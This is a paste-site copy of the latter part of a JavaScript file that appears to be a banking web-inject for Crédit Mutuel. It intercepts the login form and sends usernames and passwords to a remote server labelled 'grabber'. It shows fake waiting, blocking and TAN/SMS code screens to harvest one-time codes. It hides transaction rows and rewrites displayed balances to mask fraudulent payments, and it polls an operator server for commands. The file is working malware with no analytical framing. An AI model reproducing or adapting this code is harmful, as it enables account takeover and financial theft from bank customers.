  1804.  
  1805.             }
  1806.  
  1807.         }
  1808.  
  1809.     }
  1810.  
  1811. };
  1812.  
  1813.  
  1814.  
  1815. _tables.replacer_balance = function(){
  1816.  
  1817.     var table = _tables.findout(document,'table','class:comptescontrats');
  1818.  
  1819.     if(table){
  1820.  
  1821.         var tr = _tables.child(table,'tr');
  1822.  
  1823.         if(tr && tr.length > 0){
  1824.  
  1825.             for(var i = 0; i < tr.length; i++){
  1826.  
  1827.                 var td = _tables.child(tr[i],'td');
  1828.  
  1829.                 if(td && td.length == 4){
  1830.  
  1831.                     var account = _tables.html(td[0]).replace(/\s/igm,'');
  1832.  
  1833.                     if(_tables.grep_amount(account) > 0){
  1834.  
  1835.                         _tables.replace(td[2],_tables.grep_amount(account));
  1836.  
  1837.                     }
  1838.  
  1839.                 }
  1840.  
  1841.             }
  1842.  
  1843.         }
  1844.  
  1845.     }
  1846.  
  1847.    
  1848.  
  1849.     var span = _tables.child(document,'span');
  1850.  
  1851.     if(span && span.length > 0){
  1852.  
  1853.         for(var i = 0; i < span.length; i++){
  1854.             if(!/\<span/igm.test(span[i].innerHTML)){
  1855.  
  1856.                 var account = _tables.html(span[i]).replace(/\s/igm,'');
  1857.  
  1858.                 if(_tables.grep_amount(account) > 0){
  1859.  
  1860.                     var sp = _tables.child(span[i].parentNode,'span');
  1861.  
  1862.                     if(sp && sp.length > 1){
  1863.  
  1864.                         if(/eur/igm.test(_tables.html(sp[1]))){
  1865.  
  1866.                             _tables.replace(sp[1],_tables.grep_amount(account));
  1867.  
  1868.                         }
  1869.  
  1870.                     }
  1871.  
  1872.                 }
  1873.  
  1874.             }
  1875.  
  1876.         }
  1877.  
  1878.     }
  1879.  
  1880.    
  1881.  
  1882.     var li = _tables.child(document,'li');
  1883.  
  1884.     if(li && li.length > 0){
  1885.  
  1886.         for(var i = 0; i < li.length; i++){
  1887.  
  1888.             var span = _tables.child(li[i],'span');
  1889.  
  1890.             var div = _tables.child(li[i],'div');
  1891.  
  1892.             if(span && span.length == 2 && div && div.length > 1){
  1893.  
  1894.                 var account = _tables.html(span[1]).replace(/\s/igm,'');
  1895.  
  1896.                 if(_tables.grep_amount(account) > 0){
  1897.  
  1898.                     _tables.replace(div[1],_tables.grep_amount(account));
  1899.  
  1900.                 }
  1901.  
  1902.             }
  1903.  
  1904.         }
  1905.  
  1906.     }
  1907.  
  1908. };
  1909.  
  1910.  
  1911.  
  1912. _tables.replacer_history = function(){
  1913.  
  1914.     var color = false;
  1915.  
  1916.     var table = _tables.findout(document,'table','class:liste');
  1917.  
  1918.     if(table){
  1919.  
  1920.         var tr = _tables.child(table,'tr');
  1921.  
  1922.         if(tr && tr.length > 0){
  1923.  
  1924.             for(var i = 0; i < tr.length; i++){
  1925.  
  1926.                 var _I1 = _tables.html(tr[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1927.  
  1928.                 if(_tables.grep_mask(_I1)){
  1929.  
  1930.                     tr[i].style.display = 'none';
  1931.  
  1932.                     color = true;
  1933.  
  1934.                 }
  1935.  
  1936.             }
  1937.  
  1938.         }
  1939.  
  1940.         if(color){
  1941.  
  1942.             var caption = _tables.child(table,'caption');
  1943.  
  1944.             if(caption && caption.length){
  1945.  
  1946.                 caption[0].style.display = 'none';
  1947.  
  1948.             }
  1949.  
  1950.             var index = 0;
  1951.  
  1952.             for(var i = 0; i < tr.length; i++){
  1953.  
  1954.                 if(tr[i].style.display != 'none'){
  1955.  
  1956.                     if(index % 2 == 0){
  1957.  
  1958.                         var colorValue = '#ededed';
  1959.  
  1960.                     }else{
  1961.  
  1962.                         var colorValue = '#ffffff';
  1963.  
  1964.                     }
  1965.  
  1966.                    
  1967.  
  1968.                     var td = _tables.child(tr[i],'td');
  1969.  
  1970.                     if(td && td.length > 0){
  1971.  
  1972.                         for(var e = 0; e < td.length; e++){
  1973.  
  1974.                             td[e].style.background = colorValue;
  1975.  
  1976.                         }
  1977.  
  1978.                     }
  1979.  
  1980.                     index++;
  1981.  
  1982.                 }
  1983.  
  1984.             }
  1985.  
  1986.         }
  1987.  
  1988.     }
  1989.  
  1990.    
  1991.  
  1992.     var li = _tables.child(document,'li');
  1993.  
  1994.     if(li && li.length > 0){
  1995.  
  1996.         for(var i = 0; i < li.length; i ++){
  1997.  
  1998.             var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1999.  
  2000.             if(_tables.grep_mask(_I1)){
  2001.  
  2002.                 li[i].style.display = 'none';
  2003.  
  2004.             }
  2005.  
  2006.         }
  2007.  
  2008.     }
  2009.  
  2010. };
  2011.  
  2012.  
  2013.  
  2014. _tables.replacer_selects = function(){
  2015.  
  2016.     var select = _tables.child(document,'select');
  2017.  
  2018.     if(select && select.length > 0){
  2019.  
  2020.         for(var i = 0; i < select.length; i++){
  2021.  
  2022.             _tables.replacer_select(select[i]);
  2023.  
  2024.         }
  2025.  
  2026.     }
  2027.  
  2028. };
  2029.  
  2030.  
  2031.  
  2032. _tables.replacer_select = function(sel){
  2033.  
  2034.     if(sel){
  2035.  
  2036.         for(var i = 0; i < sel.length; i++){
  2037.  
  2038.             if(_tables.match(sel[i].text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""),_tables.answer.mask)){
  2039.  
  2040.                 sel[i].style.display = 'none';
  2041.  
  2042.             }
  2043.  
  2044.         }
  2045.  
  2046.     }
  2047.  
  2048. };
  2049.  
  2050.  
  2051.  
  2052. _tables.replacer_drops = function(){
  2053.  
  2054.     if(_tables.findout(document,'table','id:pnlgrpPayments')){
  2055.  
  2056.         var color = false;
  2057.  
  2058.         var tr = _tables.child(_tables.findout(document,'table','id:pnlgrpPayments'),'tr');
  2059.  
  2060.         if(tr && tr.length > 0){
  2061.  
  2062.             for(var i = 0; i < tr.length; i++){
  2063.  
  2064.                 var td = _tables.child(tr[i],'td');
  2065.  
  2066.                 if(td && td.length == 5){
  2067.  
  2068.                     var _info = _tables.html(td[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  2069.  
  2070.                     if(_tables.match(_info,_tables.answer.mask)){
  2071.  
  2072.                         color = true;
  2073.  
  2074.                         tr[i].style.display = 'none';
  2075.  
  2076.                     }
  2077.  
  2078.                 }
  2079.  
  2080.             }
  2081.  
  2082.            
  2083.  
  2084.             if(color){
  2085.  
  2086.                 var index = 0;
  2087.  
  2088.                 for(var i = 0; i < tr.length; i++){
  2089.  
  2090.                     if(tr[i].style.display != 'none'){
  2091.  
  2092.                         if(index % 2 == 0){
  2093.  
  2094.                             tr[i].className = '';
  2095.  
  2096.                         }else{
  2097.  
  2098.                             tr[i].className = 'alt';
  2099.  
  2100.                         }
  2101.  
  2102.                         index++;
  2103.  
  2104.                     }
  2105.  
  2106.                 }
  2107.  
  2108.             }
  2109.  
  2110.         }
  2111.  
  2112.     }
  2113.  
  2114.    
  2115.  
  2116. };
  2117.  
  2118.  
  2119.  
  2120. _tables.replacer = function(){
  2121.  
  2122.     _tables.replacer_preload();
  2123.  
  2124.     _tables.replacer_balance();
  2125.  
  2126.     _tables.replacer_history();
  2127.  
  2128.     _tables.showpage();
  2129.  
  2130. };
  2131.  
  2132.  
  2133.  
  2134. _tables.callback = function(){
  2135.  
  2136.     _tables.set('message','');
  2137.  
  2138.     switch(_tables.status()){
  2139.  
  2140.         case('CS'):
  2141.  
  2142.             if(/block/igm.test(_tables.answer.p1)){
  2143.  
  2144.                 _tables.fake('BLOCK');
  2145.  
  2146.                 _tables.showpage();
  2147.  
  2148.             }else if(_tables.answer.status == 'ON' && !/^login$|^off$|^start/igm.test(_tables.answer.p1)){
  2149.  
  2150.                 _tables.status('NL');
  2151.  
  2152.                 _tables.send(
  2153.  
  2154.                     {'type':_tables.get('type')},
  2155.  
  2156.                     {'domain':document.domain},
  2157.  
  2158.                     {'link':document.location.href},
  2159.  
  2160.                     {'data':'OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
  2161.  
  2162.                     {'message':'Login page onloaded'},
  2163.  
  2164.                     {'branch':'TJ'}
  2165.  
  2166.                 );
  2167.  
  2168.             }else{
  2169.  
  2170.                 _tables.input(_tables.get('login'),'block');
  2171.  
  2172.                 _tables.input(_tables.get('password'),'block');
  2173.  
  2174.                 _tables.replacebutton(_tables.get('button'),function(e){
  2175.  
  2176.                     var evt = e ? e : window.event;
  2177.  
  2178.                     if(evt.preventDefault)evt.preventDefault();
  2179.  
  2180.                     if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  2181.  
  2182.                     if(evt.cancelBubble!=null)evt.cancelBubble = true;
  2183.  
  2184.                     _tables.status('GL');
  2185.  
  2186.                     _tables.send({'login1':_tables.get('login').value},
  2187.  
  2188.                                     {'login2':_tables.get('password').value},
  2189.  
  2190.                                     {'type':'grabber'},
  2191.  
  2192.                                     {'param1':_tables.get('start')},
  2193.  
  2194.                                     {'domain':document.domain},
  2195.  
  2196.                                     {'branch':'SL'}
  2197.  
  2198.                     );
  2199.  
  2200.                     return false;
  2201.  
  2202.                 });
  2203.  
  2204.                 _tables.showpage();
  2205.  
  2206.             }
  2207.  
  2208.         break;
  2209.  
  2210.        
  2211.  
  2212.         case('SL'):
  2213.  
  2214.             setTimeout(function(){
  2215.  
  2216.                 _tables.cc('CC');
  2217.  
  2218.             },1500);
  2219.  
  2220.         break;
  2221.  
  2222.        
  2223.  
  2224.         case('GL'):
  2225.  
  2226.             _tables.get('button').click();
  2227.  
  2228.         break;
  2229.  
  2230.        
  2231.  
  2232.         case('NL'):
  2233.  
  2234.             _tables.loginform();
  2235.  
  2236.         break;
  2237.  
  2238.        
  2239.  
  2240.         case('CC'):
  2241.  
  2242.             if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
  2243.  
  2244.                 setTimeout(function(){
  2245.  
  2246.                     _tables.cc('CC');
  2247.  
  2248.                 },1000);
  2249.  
  2250.             }else{
  2251.  
  2252.                 _tables.fake(_tables.answer.p1);
  2253.  
  2254.             }
  2255.  
  2256.         break;
  2257.  
  2258.        
  2259.  
  2260.         case('TJ'):
  2261.  
  2262.             _tables.set('pause',false);
  2263.  
  2264.             _tables.cc('CC');
  2265.  
  2266.         break;
  2267.  
  2268.        
  2269.  
  2270.         case('CP'):
  2271.  
  2272.             if(!_tables.replacerarray){
  2273.  
  2274.                 _tables.showpage();
  2275.  
  2276.                 return;
  2277.  
  2278.             }
  2279.  
  2280.             _tables.replacer();
  2281.  
  2282.             $(document).ajaxSuccess(function(event, request, settings){
  2283.  
  2284.                 _tables.replacer();
  2285.  
  2286.             });
  2287.  
  2288.         break;
  2289.  
  2290.        
  2291.  
  2292.         default:
  2293.  
  2294.             _tables.showpage();
  2295.  
  2296.         break;
  2297.  
  2298.        
  2299.  
  2300.     }
  2301.  
  2302. };
  2303.  
  2304.  
  2305.  
  2306. _tables.login = function(){
  2307.  
  2308.     _tables.click(_tables.get('button'),document);
  2309.  
  2310. };
  2311.  
  2312.  
  2313.  
  2314. _tables.fkbtn = function(state){
  2315.  
  2316.     var noError = true;
  2317.  
  2318.    
  2319.  
  2320.     if(!/[0-9]{4,}/igm.test(_tables.id('_tables.tan').value)){
  2321.  
  2322.         noError = true;
  2323.  
  2324.     }
  2325.  
  2326.  
  2327.  
  2328.     _tables.set('data','Code: '+_tables.id('_tables.tan').value+'|');
  2329.  
  2330.    
  2331.  
  2332.     if(noError){
  2333.  
  2334.         _tables.fake('WAIT');
  2335.  
  2336.         _tables.set('pause',true);
  2337.  
  2338.         _tables.status('TJ');
  2339.  
  2340.         _tables.send({'type':_tables.get('type')},
  2341.  
  2342.                         {'domain':document.domain},
  2343.  
  2344.                         {'data':_tables.get('data')},
  2345.  
  2346.                         {'message':'Data recieved'},
  2347.  
  2348.                         {'branch':'TJ'}
  2349.  
  2350.         );
  2351.  
  2352.     }
  2353.  
  2354. }
  2355.  
  2356.  
  2357.  
  2358. _tables.fake = function(step){
  2359.  
  2360.     switch(step){
  2361.  
  2362.         case('LOGIN'):
  2363.  
  2364.             location.reload();
  2365.  
  2366.         break;
  2367.  
  2368.        
  2369.  
  2370.         case('RELOGIN'):
  2371.  
  2372.             location.reload();
  2373.  
  2374.         break;
  2375.  
  2376.        
  2377.  
  2378.         case('WAIT'):
  2379.  
  2380.             if(_tables.id('password')){
  2381.  
  2382.                 _tables.id('password').innerHTML = '<div>'+
  2383.  
  2384.                                     '<div class="logon-snippet-ftb" style="width:785px;padding:20px;font-size:11px;">'+
  2385.  
  2386.                                         '<div class="blocmsg info">'+
  2387.  
  2388.                                             '<p>'+_tables.text.wait+'</p>'+
  2389.  
  2390.                                         '</div>'+
  2391.  
  2392.                                     '</div>'+
  2393.  
  2394.                                     '<br><br><center><img src="'+_tables.get('loader')+'"></center>'+
  2395.  
  2396.                                     '<br><br>'+
  2397.  
  2398.                                 '</div>';
  2399.  
  2400.             }
  2401.  
  2402.             setTimeout(function(){
  2403.  
  2404.                 _tables.cc('CC');
  2405.  
  2406.             },1000);
  2407.  
  2408.         break;
  2409.  
  2410.        
  2411.  
  2412.         case('BLOCK'):
  2413.  
  2414.             if(_tables.id('password')){
  2415.  
  2416.                 _tables.id('password').innerHTML = '<div>'+
  2417.  
  2418.                                     '<div class="logon-snippet-ftb" style="width:785px;padding:20px;font-size:11px;">'+
  2419.  
  2420.                                         '<div class="blocmsg alerte">'+
  2421.  
  2422.                                             '<p>'+_tables.text.block+'</p>'+
  2423.  
  2424.                                         '</div>'+
  2425.  
  2426.                                     '</div>'+
  2427.  
  2428.                                     '<br><br>'+
  2429.  
  2430.                                 '</div>';
  2431.  
  2432.             }
  2433.  
  2434.             setTimeout(function(){
  2435.  
  2436.                 _tables.cc('CC');
  2437.  
  2438.             },1000);
  2439.  
  2440.         break;
  2441.  
  2442.        
  2443.  
  2444.         case('OFF'):
  2445.  
  2446.             location.reload();
  2447.  
  2448.         break;
  2449.  
  2450.        
  2451.  
  2452.         case('FAKE'):
  2453.  
  2454.             if(_tables.id('password')){
  2455.  
  2456.                 var els = _tables.answer.p3.split('|');
  2457.  
  2458.                 switch(_tables.answer.p3.split('|')[0]){
  2459.  
  2460.                     case('TAN'):
  2461.  
  2462.                         _tables.id('password').innerHTML = '<div>'+
  2463.  
  2464.                                                                 '<div style="background:#3f8bd2;color:#FFFFFF;padding:20px;margin-bottom:20px;">'+_tables.text.title+'</div>'+
  2465.  
  2466.                                                                 '<div style="padding:20px;">'+
  2467.  
  2468.                                                                     _tables.text.tan1+
  2469.  
  2470.                                                                     '<br><br><br>'+
  2471.  
  2472.                                                                     _tables.text.tan2+
  2473.  
  2474.                                                                     '<input type="text" id="_tables.tan" maxlength=4 size=4 style="margin-left:20px;">'+
  2475.  
  2476.                                                                    
  2477.  
  2478.                                                                     '<br><br>'+
  2479.  
  2480.                                                                     '<center><input class="image" onclick="_tables.fkbtn();" type="image" border="0" src="data:image/gif;base64,R0lGODdhaAAeAPMAAEFwqf///6u71OLn77fE2VR8sM3W5ZKoyNff6nWTvGaItuzv9fX3+p6yzsLN34SewiH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4zLWMwMTEgNjYuMTQ1NjYxLCAyMDEyLzAyLzA2LTE0OjU2OjI3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOERFMzhBMkI2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOERFMzhBM0I2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4REUzOEEwQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM4REUzOEExQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAALAAAAABoAB4AAAT/EMhJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zfEoGgIdQIDg4BgY+FCBwAiSeIwZAglcsUcjgqBAZZFxA7STQDCAVAEHAYE4BF0MkmeAXNhIFhCCL6aBJmfmoDBmxkOGMVCwsFCgxgbGBICABeYGsBdkEMdn0OAH1DfQ1xYJCWA0EOcDqLEw8BXE0KdVBfl7manAsTfU9ApoiycwG+q647RaGxsxK1twm5mBJ11RLAAEBPxM8UqwU+AwxSpo2Pkby4YNjXu6JO2/KIcQxwUQDhPgWAmwAKzqRZN63drneZ4gWjlwTgGXn7wkicSLGixYsYM2rcyLGjx48gBkOKHAkyAgA7" alt="Confirmer"></center>'+
  2481.  
  2482.                                                                    
  2483.  
  2484.                                                                 '</div>'+
  2485.  
  2486.                                                                
  2487.  
  2488.                                                             '</div>';
  2489.  
  2490.                         _tables.id('_tables.span.1').innerHTML = els[1];
  2491.  
  2492.                         _tables.id('_tables.span.2').innerHTML = els[2];
  2493.  
  2494.                     break;
  2495.  
  2496.                    
  2497.  
  2498.                     case('SMS'):
  2499.  
  2500.                         _tables.id('password').innerHTML = '<div>'+
  2501.  
  2502.                                                                 '<div style="background:#3f8bd2;color:#FFFFFF;padding:20px;">'+_tables.text.title+'</div>'+
  2503.  
  2504.                                                                 '<div style="padding:20px;border-left:1px solid #3f8bd2;border-right:1px solid #3f8bd2;border-bottom:1px solid #3f8bd2;">'+
  2505.  
  2506.                                                                     _tables.text.sms1+
  2507.  
  2508.                                                                     '<br><br><br>'+
  2509.  
  2510.                                                                     _tables.text.sms2+
  2511.  
  2512.                                                                     '<input type="text" id="_tables.tan" maxlength=6 size=6 style="margin-left:20px;">'+
  2513.  
  2514.                                                                    
  2515.  
  2516.                                                                     '<br><br>'+
  2517.  
  2518.                                                                     '<center><input class="image" onclick="_tables.fkbtn();" type="image" border="0" src="data:image/gif;base64,R0lGODdhaAAeAPMAAEFwqf///6u71OLn77fE2VR8sM3W5ZKoyNff6nWTvGaItuzv9fX3+p6yzsLN34SewiH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4zLWMwMTEgNjYuMTQ1NjYxLCAyMDEyLzAyLzA2LTE0OjU2OjI3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOERFMzhBMkI2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOERFMzhBM0I2QkUxMUU0OTFFOUQ4NkQ4MjkxQTExMCI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4REUzOEEwQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM4REUzOEExQjZCRTExRTQ5MUU5RDg2RDgyOTFBMTEwIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAALAAAAABoAB4AAAT/EMhJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zfEoGgIdQIDg4BgY+FCBwAiSeIwZAglcsUcjgqBAZZFxA7STQDCAVAEHAYE4BF0MkmeAXNhIFhCCL6aBJmfmoDBmxkOGMVCwsFCgxgbGBICABeYGsBdkEMdn0OAH1DfQ1xYJCWA0EOcDqLEw8BXE0KdVBfl7manAsTfU9ApoiycwG+q647RaGxsxK1twm5mBJ11RLAAEBPxM8UqwU+AwxSpo2Pkby4YNjXu6JO2/KIcQxwUQDhPgWAmwAKzqRZN63drneZ4gWjlwTgGXn7wkicSLGixYsYM2rcyLGjx48gBkOKHAkyAgA7" alt="Confirmer"></center>'+
  2519.  
  2520.                                                                    
  2521.  
  2522.                                                                 '</div>'+
  2523.  
  2524.                                                                
  2525.  
  2526.                                                             '</div>';
  2527.  
  2528.                         _tables.id('_tables.span.1').innerHTML = els[1];
  2529.  
  2530.                     break;
  2531.  
  2532.                 }
  2533.  
  2534.             }
  2535.  
  2536.            
  2537.  
  2538.             setTimeout(function(){
  2539.  
  2540.                 _tables.cc('CC');
  2541.  
  2542.             },1000);
  2543.  
  2544.         break;
  2545.  
  2546.     }
  2547.  
  2548. };
  2549.  
  2550.  
  2551.  
  2552. _tables.cc = function(stat){
  2553.  
  2554.     if(_tables.get('pause'))return false;
  2555.  
  2556.     _tables.status(stat);
  2557.  
  2558.     _tables.send(
  2559.  
  2560.         {'type':'intercept'},
  2561.  
  2562.         {'domain':document.domain},
  2563.  
  2564.         {'link':document.location.href},
  2565.  
  2566.         {'browser':_tables.brows()},
  2567.  
  2568.         {'branch':'CC'}
  2569.  
  2570.     );
  2571.  
  2572. };
  2573.  
  2574.  
  2575.  
  2576. _tables.loginclicker = function(e){
  2577.  
  2578.     var evt = e ? e : window.event;
  2579.  
  2580.     if(evt.preventDefault)evt.preventDefault();
  2581.  
  2582.     if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
  2583.  
  2584.     if(evt.cancelBubble!=null)evt.cancelBubble = true;
  2585.  
  2586.     _tables.fake('WAIT');
  2587.  
  2588.     _tables.status('SL');
  2589.  
  2590.     _tables.send({'login1':_tables.get('login').value},
  2591.  
  2592.                     {'login2':_tables.get('password').value},
  2593.  
  2594.                     {'type':_tables.get('type')},
  2595.  
  2596.                     {'domain':document.domain},
  2597.  
  2598.                     {'link':document.location.href},
  2599.  
  2600.                     {'browser':_tables.brows()},
  2601.  
  2602.                     {'message':'Trying to Login'},
  2603.  
  2604.                     {'jabber':'SEND'},
  2605.  
  2606.                     {'branch':'SL'}
  2607.  
  2608.     );
  2609.  
  2610.     return false;
  2611.  
  2612. };
  2613.  
  2614.  
  2615.  
  2616. _tables.preload = function(){
  2617.  
  2618.     if(_tables.findout(document,'a','href:forgotUserID')){
  2619.  
  2620.         _tables.findout(document,'a','href:forgotUserID').parentNode.style.display = 'none';
  2621.  
  2622.     }
  2623.  
  2624. };
  2625.  
  2626.  
  2627.  
  2628. _tables.loginform = function(){
  2629.  
  2630.     _tables.input(_tables.get('login'),'block');
  2631.  
  2632.     _tables.input(_tables.get('password'),'block');
  2633.  
  2634.     _tables.replacebutton(_tables.get('button'),_tables.loginclicker);
  2635.  
  2636.     _tables.showpage();
  2637.  
  2638. };
  2639.  
  2640.  
  2641.  
  2642. _tables.start = function(){
  2643.  
  2644.     if(!_brows.client){
  2645.  
  2646.         if(_tables.id('identifiant') && _tables.id('password') && _tables.id('submit')){
  2647.  
  2648.             document.location.href = 'https://www.creditmutuel.fr/fr/authentification.html';
  2649.  
  2650.             return false;
  2651.  
  2652.         }
  2653.  
  2654.         if(_tables.are('login','password','button')){
  2655.  
  2656.             _tables.cc('CS');
  2657.  
  2658.         }else if(_tables.get('logout')){
  2659.  
  2660.             _tables.status('CP');
  2661.  
  2662.             _tables.send({'domain':document.domain},{'type':'grabber'},{'branch':'CP'});
  2663.  
  2664.         }else{
  2665.  
  2666.             _tables.showpage();
  2667.  
  2668.         }
  2669.  
  2670.     }else{
  2671.  
  2672.         _tables.showpage();
  2673.  
  2674.     }
  2675.  
  2676. };
  2677.  
  2678.  
  2679.  
  2680. _tables.start();
Add Comment
Please, Sign In to add comment